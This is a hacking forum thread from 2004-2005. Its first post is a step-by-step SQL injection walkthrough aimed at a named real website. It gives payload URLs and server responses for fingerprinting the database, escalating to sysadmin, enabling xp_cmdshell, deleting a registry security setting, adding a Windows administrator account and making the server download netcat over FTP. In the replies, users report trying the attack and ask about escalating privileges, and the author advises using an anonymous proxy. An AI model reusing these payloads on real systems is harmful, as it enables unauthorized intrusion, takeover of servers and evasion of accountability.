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Full disclosure |
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IT Security and Insecurity Portal |
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DO u think u know everything about sql injection heh? |
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 Posted: Mon Dec 27, 2004 6:53 pm |
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| r0ot |
| Regular user |
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| Joined: Jul 18, 2004 |
| Posts: 15 |
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Sorry i was missing almost a year from here.. but im back..
SQL INJECTION GATHERED FROM MASTERVN
REVISION 0.1
RELEASE A
EXAMPLE TO USE:
http://www.nhaxinh.com.vn/FullStory.asp?id=1
Exploiting the hole:
http://www.nhaxinh.com.vn/FullStory.asp?id=1'
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\ |
VERSION
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--
| Code: |
[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright ? 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/Including/general.asp, line 840
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SERVER NAME
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.
/Including/general.asp, line 840
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DATABASE NAME
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.
/Including/general.asp, line 840
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USER
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,system_user)--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.
/Including/general.asp, line 840
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OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840
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GUEST = DB_OWNER :DDD
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--
| Code: |
No result expected, normal page loading
Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell
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ADDIN TO "BUILTIN\ADMINISTRATORS"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--
and then
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..sp_addsrvrolemember 'nhaxinh',sysadmin --
ENABLE OPENROWSET/OLEDB
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/Including/general.asp, line 840
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http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'
ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')
!!PAY ATTETION TO THE SERVER= PARAMETER
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.
/Including/general.asp, line 840
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if dun work try:
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--
NOW SCRIPT KIDDIES
http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == ?%?)
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.
/Including/general.asp, line 840
C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
203.162.7.70 == panvietnam.com
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http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")
| Code: |
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service
(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye
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UPLOAD NETCAT L?N
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == ">")
| Code: |
echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f
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http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--
| Code: |
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.
/Including/general.asp, line 840
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Enjoy and happy sql injection guys |
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_________________
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| Posted: Mon Dec 27, 2004 9:18 pm |
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| Postal |
| Regular user |
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| Joined: Dec 24, 2004 |
| Posts: 5 |
| Location: Latvija |
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Nice to see you back! 
And thanks for this  |
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_________________
Born to learn!!! |
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| Posted: Mon Dec 27, 2004 10:43 pm |
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| any2000 |
| Active user |
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| Joined: Dec 02, 2004 |
| Posts: 26 |
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very very thanks for this  |
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| Posted: Mon Dec 27, 2004 11:44 pm |
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| r0ot |
| Regular user |
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| Joined: Jul 18, 2004 |
| Posts: 15 |
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heheh its nice to come back again.. i spent hole year studing a lot and more important improving my sql admin / dev skills, as you can see above i got much to learn... :/ duh
Comments bout the code, variations of it, etc are appreciated.
Regards |
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_________________
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| Posted: Wed Dec 29, 2004 5:15 pm |
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| ReFleX |
| Active user |
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| Joined: Nov 05, 2004 |
| Posts: 39 |
| Location: ARGENTINA! |
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Hi!, a very good job, I were trying it but i get this error when I execute the last injections
| Code: |
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'BUILTIN\Administrators'.
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Somebody know why coould this be?? |
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| Posted: Thu Dec 30, 2004 11:51 am |
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| r0ot |
| Regular user |
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| Joined: Jul 18, 2004 |
| Posts: 15 |
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| sum of the begginning queries dun worked out, so u couldnt add a user to the users... :/ bad..try to review the queries and re-exec it, remember always try to use a good anom proxy |
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| Posted: Sun Feb 13, 2005 11:05 am |
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| dairy123 |
| Beginner |
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| Joined: Feb 13, 2005 |
| Posts: 4 |
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that was an extremely cool tut - so much thanks r00t.
just in time as i was losing sleep tryin to figure out which sys tables, sps and xps to use  you saved my so many nights !!
looks like i am getting the same message
Login failed for user 'BUILTIN\Administrators'.
the sql admin seems to be a bit knowledgable - disabled select on the password column of sysxlogins 
any thoughts i can elevate the user's privileges?
thnx much |
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| Posted: Tue Nov 01, 2005 7:13 am |
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| linzi |
| Beginner |
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| Joined: Nov 01, 2005 |
| Posts: 4 |
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| very good,i hv learn more sql injection skill from urs |
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| Posted: Thu Dec 08, 2005 11:46 am |
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| goblin |
| Regular user |
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| Joined: Nov 03, 2005 |
| Posts: 8 |
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| thx, you have a job! i am learning it now .so if someone want to injection like that ,you must master odbc |
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Re: DO u think u know everything about sql injection heh? |
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| Posted: Thu Dec 08, 2005 11:47 am |
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| goblin |
| Regular user |
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| Joined: Nov 03, 2005 |
| Posts: 8 |
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| thx, you have a job! i am learning it now .so if someone want to injection like that ,you must master odbc |
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| Posted: Tue Dec 20, 2005 9:22 pm |
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| vcore |
| Regular user |
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| Joined: Jun 28, 2005 |
| Posts: 13 |
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Thank you. Two questions:
What's the diference beetwen AND and & 
and When i put 1 and 1=convert(int,@@version)-- i have a "type mismatch"
(generally Cint), how should I fix this
Sorry for my englisg  |
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